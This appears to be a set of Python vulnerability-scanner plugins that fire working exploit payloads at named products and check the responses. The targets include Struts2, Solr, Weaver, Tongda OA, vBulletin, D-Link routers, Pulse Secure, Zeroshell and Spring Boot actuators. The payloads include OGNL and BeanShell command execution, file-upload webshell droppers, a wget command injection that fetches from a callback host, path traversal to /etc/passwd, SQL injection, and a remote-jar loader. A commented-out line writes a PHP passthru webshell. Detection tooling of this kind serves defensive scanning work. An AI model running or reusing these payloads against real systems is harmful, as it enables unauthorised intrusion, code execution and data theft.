def inject(self, req_false, req_true, payload_right, payload_false): rf = request(**req_false) rt = request(**req_true) if rf != None and rt != None: if self.dictdata.get("response").get("mime_stated") == "HTML": rf_text = getFilteredPageContent(removeDynamicContent(rf.text, self.dynamic)) rt_text = getFilteredPageContent(removeDynamicContent(rt.text, self.dynamic)) else: rf_text = removeDynamicContent(rf.text, self.dynamic) rt_text = removeDynamicContent(rt.text, self.dynamic) rf_similar = round(similar(rf_text, self.text), 3) rt_similar = round(similar(rt_text, self.text), 3) rt_rf_similar = round(similar(rf.text, rt.text), 3) # print("{} rtpayload{} rfpayload{} rf:{},rt:{},both:{}".format(self.data.url_path,self.payload_rt,self.payload_rf,rf_similar,rt_similar,rt_rf_similar)) if rt_rf_similar != 1.0 and rt_similar > rf_similar and rt_similar > 0.98: response_rt = response_parser(rt) response_rf = response_parser(rf) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "payload": "payload_true:{} payload_false:{}".format(payload_right, payload_false), "similar_rate": "payload_false_rate:{} payload_true_rate:{} payload_true_false_rate:{}".format( rf_similar, rt_similar, rt_rf_similar), "request_true": response_rt.getrequestraw(), "response_true": response_rt.getresponseraw(), "request_false": response_rf.getrequestraw(), "response_false": response_rf.getresponseraw(), } }) return True
def inject(self, req_false, req_true, payload_right, payload_false, param_name): found_flag = 0 response_rt = b"" response_rf = b"" rf_similar = 0 rt_similar = 0 rt_rf_similar = 0 for count_num in range(self.verify_count): rf = request(**req_false) rt = request(**req_true) if rf != None and rt != None: if self.dictdata.get("response").get("mime_stated") == "HTML": rf_text = getFilteredPageContent( removeDynamicContent(rf.text, self.dynamic)) rt_text = getFilteredPageContent( removeDynamicContent(rt.text, self.dynamic)) else: rf_text = removeDynamicContent(rf.text, self.dynamic) rt_text = removeDynamicContent(rt.text, self.dynamic) rf_similar = round(similar(rf_text, self.text), 3) rt_similar = round(similar(rt_text, self.text), 3) rt_rf_similar = round(similar(rf.text, rt.text), 3) if rt_rf_similar != 1.0 and rt_similar > rf_similar and rt_similar > 0.98: response_rt = response_parser(rt) response_rf = response_parser(rf) found_flag += count_num continue break if found_flag == sum(range(self.verify_count)): self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "param": param_name, "payload": "payload_true:{} payload_false:{}".format( payload_right, payload_false), "similar_rate": "payload_true_rate:{} payload_false_rate:{} payload_true_false_rate:{}" .format(rt_similar, rf_similar, rt_rf_similar), "request_true": response_rt.getrequestraw(), "response_true": response_rt.getresponseraw(), "request_false": response_rf.getrequestraw(), "response_false": response_rf.getresponseraw(), } }) return True
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return uploadHeader = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Content-Type": "multipart/form-data;", "Referer": "https://google.com" } filename = "{}.jsp".format(get_random_str(4).lower()) uploadData = r"\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74".replace( r"\x", "") uploadData += binascii.b2a_hex(struct.pack(">H", len(filename))).decode() uploadData += binascii.b2a_hex(filename.encode()).decode() uploadData += r"\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78".replace( r"\x", "") shellFlag = get_random_str(10) # you can put a shell in here uploadData += binascii.b2a_hex(shellFlag.encode()).decode() req = { "url": self.url + "servlet/FileReceiveServlet", "method": "POST", "headers": uploadHeader, "verify": False, "allow_redirects": False, "data": binascii.a2b_hex(uploadData.encode()), "timeout": 10, } r = request(**req) if r is not None and r.status_code == 200: req1 = { "url": self.url + filename, "method": "GET", "headers": uploadHeader, "verify": False, "allow_redirects": False, "timeout": 10, } r1 = request(**req1) if r1 is not None and shellFlag.encode() in r1.content: parse1 = response_parser(r) parse2 = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request1": parse1.getrequestraw(), "response1": parse1.getresponseraw(), "request2": parse2.getrequestraw(), "response2": parse2.getresponseraw(), } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) random1 = get_random_num(4) random2 = get_random_num(4) payload_ = "LS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJVUExPQURfTU9ERSIKCjIKLS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJQIgoKMTIzCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iREVTVF9VSUQiCgoyCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iQVRUQUNITUVOVCI7IGZpbGVuYW1lPSJwaHAuIgpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcKCjw/cGhwCmVjaG8gKE5VTTErTlVNMik7Cj8+Ci0tLS0tLS0tLS0xNjczODAxMDE4LS0K" payload_ = base64.b64decode(payload_.encode()).decode().replace( "\n", "\r\n") payload_ = payload_.replace("NUM1", str(random1)).replace( "NUM2", str(random2)) req = { "url": self.url + "ispirit/im/upload.php", "method": "POST", "headers": { "Content-Type": "multipart/form-data; boundary=--------1673801018" }, "verify": False, "data": payload_, "timeout": 10, } r = request(**req) if r is not None and r.content.startswith(b"+OK"): res = re.search(r"\+OK \[vm\]\d+@(\d+)_(\d+)\|php", r.content.decode(errors="ignore")) if res and len(res.groups()) == 2: path1, path2 = res.groups() path = "im/{}/{}.php".format(path1, path2) req1 = { "url": self.url + path, "method": "GET", "verify": False, "timeout": 10 } r_ = request(**req1) if r_ is not None and str(random1 + random2).encode() in r_.content: parser_ = response_parser(r) parser1 = response_parser(r_) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request1": parser_.getrequestraw(), "response1": parser_.getresponseraw(), "request2": parser1.getrequestraw(), "response2": parser1.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 randompath = get_random_str(4).lower() randomtext = get_random_str(10) req = { "method": "PUT", "url": self.url + randompath, "data": randomtext, "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 201: req1 = { "method": "GET", "url": self.url + randompath, "timeout": 10, "allow_redirects": False, "verify": False, } r1 = request(**req1) if r1 != None and randomtext.encode() in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "others": "可以PUT上传文件,且能成功访问", "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) return parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": 0, # 0:Low 1:Medium 2:High "detail": { "others": "根据状态码显示可以PUT上传,但是访问不成功", "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return for referer in [ '''554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca''', '''45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a''' ]: req = { "method": "GET", "url": self.url+"user.php", "headers":{ "Referer":referer, }, "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"PHP Version" in r.content and b"<title>phpinfo()</title>" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) return
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return rand1 = random.randint(40000, 44800) rand2 = random.randint(40000, 44800) req = { "method": "POST", "url": self.url + "weaver/bsh.servlet.BshServlet", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "data": "bsh.script=print%28{}*{}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw".format(rand1, rand2), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and (str(rand1 * rand2)).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return user = get_random_str(6).lower() pass_ = get_random_str(6).lower() req = { "method": "POST", "url": self.url + "pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1", "headers": { "Content-Type": "application/xml", "X-NITRO-USER": user, "X-NITRO-PASS": pass_, }, "data": "<appfwprofile><login></login></appfwprofile>", "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 406 and re.search( "SESSID=\w{32}", r.headers.get("Set-Cookie", "")): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return rand_s = get_random_str(5) req = { "method": "POST", "url": self.url + "webtools/control/xmlrpc", "headers": {"Content-Type": "application/xml"}, "data": '''<?xml version="1.0"?><methodCall><methodName>{rand}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>'''.format( rand=rand_s), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and r.status_code == 200 and b"methodResponse" in r.content and ("No such service [{}".format( rand_s)).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return cmds, hexdata = generate_reverse_payloads("dlink-cve-2019-16920-rce" + self.url) url = cmds[0].split(" ")[-1] req = { "method": "POST", "url": self.url + "apply_sec.cgi", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "data": '''html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{}'''.format( url), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) res, resdata = query_reverse(hexdata) if r != None and res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others":"{} in reverse data".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") random_str = get_random_str(6) headers = copy.deepcopy(self.dictdata.get("request").get("headers")) headers['Content-Type'] = 'application/x-www-form-urlencoded' if params: for param in params: payload = "(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo " + random_str + "').getInputStream()))" req = self.parser.getreqfromparam(param, "w", payload) r = request(**req) if r != None: if re.search( "[^(echo)][^ (%20)]{}|^\s*{}\s*$".format( random_str, random_str).encode(), r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl().split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) filename = get_random_str(4) + ".txt" random_str = get_random_str(10) # payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/" + shell_filename + " && chmod +x /usr/www/" + shell_filename + "||" payload = "http|echo \"" + random_str + "\" >> /usr/www/" + filename + " && chmod +x /usr/www/" + filename + "||" req = { "method": "GET", "url": self.url + "include/makecvs.php?Event=" + payload, "verify": False, "timeout": 10, } r = request(**req) time.sleep(1) if r is not None and r.status_code == 200 and b"Service,DateTime" in r.content: req["url"] = self.url + filename r1 = request(**req) if r1 is not None and random_str.encode() in r1.content: parser1 = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request": parser1.getrequestraw(), "response": parser1.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "v2/", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and "docker-distribution-api-version" in str( r.headers).lower() and "registry/2.0" in str( r.headers).lower(): req["url"] = self.url + "v2/_catalog" r1 = request(**req) if r1 != None and "application/json" in r1.headers.get( "Content-Type", "") and b"repositories" in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "url": self.url + "ueditor/net/controller.ashx?action=catchimage&encode=utf-8", "method": "GET", "headers": { "Accept-Encoding": "deflate" }, "verify": False, "timeout": 10, } r = request(**req) if r is not None and r.status_code == 200 and b"\xe6\xb2\xa1\xe6\x9c\x89\xe6\x8c\x87\xe5\xae\x9a\xe6\x8a\x93\xe5\x8f\x96\xe6\xba\x90" in r.content: parse = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can exploit it by :http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8", "request": parse.getrequestraw(), "response": parse.getresponseraw(), } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") != 3: return if self.dictdata.get("url").get("protocol") != "https": return payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id" poc = "cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'" req = { "method": "GET", "url": self.url + poc, "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 200 and re.search( b"((u|g)id|groups)=[0-9]{1,4}\([a-z0-9_]+\)", r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "include/downmix.inc.php", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and b"Fatal error" in r.content and b"downmix.inc.php" in r.content and b"Call to undefined function helper()" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("protocol") != "https": return # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/", "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and re.search( b"root:[x*]:0", r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "POST", "url": self.url + "rest/tinymce/1/macro/preview", "headers": { "Content-Type": "application/json", "Referer":"http://localhost", "Host":"localhost" }, "data":'''{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}''', "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"<param-name>contextConfigLocation</param-name>" in r.content : parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "public/admin.html?s=admin/api.Update/version", "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and "json" in r.headers.get("Content-Type", ""): try: data = r.json() ver = data.get("data", {}).get("wechat", {}).get("version", "999999999999").replace(".", "") print(ver) if int(ver) <= 2020080301: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) except Exception as ex: print(ex) pass
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_int = get_random_num(5) req = { "method": "GET", "url": self.url + "index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20md5({})%27" .format(random_int), "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and ( getmd5(random_int)[10:20]).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_str = get_random_num(4) req = { "method": "GET", "url": self.url + "tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5" + str(random_str) + ";{/dede:field}", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "verify": False, "allow_redirects": True } r = request(**req) if r != None and r.status_code == 200 and (getmd5( str(random_str))[10:20]).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 500 and b"cf79ae6addba60ad018347359bd144d2" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "info", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and b"KernelVersion" in r.content and b"RegistryConfig" in r.content and b"DockerRootDir" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "?a=display&templateFile=README.md", "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and b"ThinkCMF" in r.content and b"## README" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "POST", "url": self.url + "hedwig.cgi", "headers": { "Content-Type": "text/xml", "Cookie": "uid=R8tBjwtFc8" }, "data": '''<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>''', "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r != None and r.status_code == 200 and b"</usrid>" in r.content and b"</password>" in r.content and b"<result>OK</result>" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml", "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"<url-pattern>/weaver/" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "solr/admin/cores?wt=json", "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"responseHeader" in r.content: name = re.search('"name":"(.*?)"', r.text) if name: name = name.group(1) req["method"] = "POST" req["headers"] = { "Content-Type": "application/json" } req["data"] = '''{ "update-queryresponsewriter": { "startup": "test", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }''' req["url"] = self.url + "solr/{name}/config".format(name=name) r1 = request(**req) if r1 != None and r1.status_code == 200: random_1 = get_random_num(4) random_2 = get_random_num(4) req1 = { "method": "GET", "url": self.url + "solr/{name}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{r1}%20*%20{r2})%24c".format( name=name, r1=random_1, r2=random_2), "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": "False", "verify": False, } r2 = request(**req1) if r2 != None and r2.status_code == 200 and str(random_2 * random_1).encode() in r2.content: parser_ = response_parser(r2) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "POST", "url": self.url + "actuator/env", "headers": { "Content-Type": "application/json" }, "data": '''{ "name": "spring.datasource.hikari.connection-init-sql", "value":"CREATE ALIAS remoteUrl AS $$ import java.net.*;@CODE String remoteUrl() throws Exception { Class.forName(\"pop\", true, new URLClassLoader(new URL[]{new URL(\"http://127.0.0.1:9001/pop.jar\")})).newInstance();return null;}$$; CALL remoteUrl()" }''', "timeout": 10, "verify": False, } r = request(**req) if r is not None and r.status_code == 200 and b"spring.datasource.hikari.connection-init-sql" in r.content and "application/vnd.spring-boot.actuator" in str( r.headers): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_int = get_random_num(5) md5 = getmd5(random_int) req = { "method": "POST", "url": self.url, "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "data": "routestring=ajax/render/widget_php&widgetConfig%5bcode%5d=print(md5({rand}))%3bexit%3b".format( rand=random_int), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 200 and md5.encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def search_md5(self, r, md5, payload): if r != None: if md5 in r.text: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "dbms_type": "unknown", "payload": payload, "error_info": "md5 str {} in response".format(md5), "request": parser_.getrequestraw().decode(errors="ignore"), "response": parser_.getresponseraw().decode(errors="ignore") } }) return True